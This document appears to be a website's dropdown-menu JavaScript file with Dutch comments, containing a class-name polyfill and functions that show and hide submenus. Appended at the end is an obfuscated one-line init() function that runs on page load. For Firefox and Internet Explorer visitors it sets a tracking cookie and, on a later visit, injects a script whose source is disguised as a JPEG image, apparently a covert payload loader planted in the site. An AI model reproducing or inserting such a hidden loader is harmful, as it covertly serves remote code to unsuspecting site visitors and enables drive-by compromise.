document.getElementsByClassName = function (needle) 
{ 
    var s, i, r = [], l = 0, e; 
    var re = new RegExp('(^|\\s)' + needle + '(\\s|$)'); 

    if (navigator.userAgent.indexOf('Opera') > -1) 
    { 
        s = [document.documentElement || document.body], i = 0; 
        do 
        { 
            e = s[i]; 
            while (e) 
            { 
                if (e.nodeType == 1) 
                { 
                    if (e.className && re.test(e.className)) r[l++] = e; 
                    s[i++] = e.firstChild; 
                } 
                e = e.nextSibling; 
            } 
        } 
        while (i--); 
    } 
    else 
    { 
        s = document.getElementsByTagName('*'), i = s.length; 
        while (i--) 
        { 
            e = s[i]; 
            if (e.className && re.test(e.className)) r[l++] = e; 
        } 
    }
    return r; 
}

var menuTimerId = 0;

// kijk of er een submenu is dan timeout, anders direct mouseout
function menuMainOut(objA) {
	var menu = objA.parentNode;
	var subMenu = objA.parentNode.getElementsByTagName("div")[0];
	if (subMenu) menuTimerId = setTimeout("menuHideSubs()", 400);
	
	//var menuLinkImg = objA.getElementsByTagName("img")[0];
	//if (menu.className == "menu" && menuLinkImg.src.indexOf("_a.gif") != -1) {
	//	menuLinkImg.src = menuLinkImg.src.replace("_a.gif","_i.gif");
	//}
}

// laat het menu staan
function clearMenuTimeout() {
	if (menuTimerId != 0) clearTimeout(menuTimerId);
	menuTimerId = 0;
}

function setMenuTimeout() {
	clearTimeout(menuTimerId);
	menuTimerId = setTimeout("menuHideSubs()", 400);
}

// haal allesubmenu's weg
function menuHideSubs() {
	if (! document.getElementsByTagName) return;
	var menuTD = document.getElementById("menu");
	
	var submenus = document.getElementsByClassName("submenu");
	
	for (var i=0; i<submenus.length; i++) {
		submenus[i].style.visibility = 'hidden';	
		
		if (submenus[i].parentNode.className.indexOf("menuActive") == -1) {
			submenus[i].parentNode.className = "menu";
		}
	}	
}

// over main item
function menuMainOver(objA) {
	if (!document.getElementsByTagName) return;
	clearMenuTimeout();
	
	var menu = objA.parentNode;
	
	if (menu.className != "menu menuActive") menu.className += " menuHover";

	var subMenuDiv = menu.getElementsByTagName("div")[0];
	if (subMenuDiv && subMenuDiv.style.visibility == "visible") { 
		return;
	} else {
		menuHideSubs();
		if (subMenuDiv) subMenuDiv.style.visibility = "visible";
		// toggleSelects('hidden');
	}
	

}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/bloemenenfatima.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
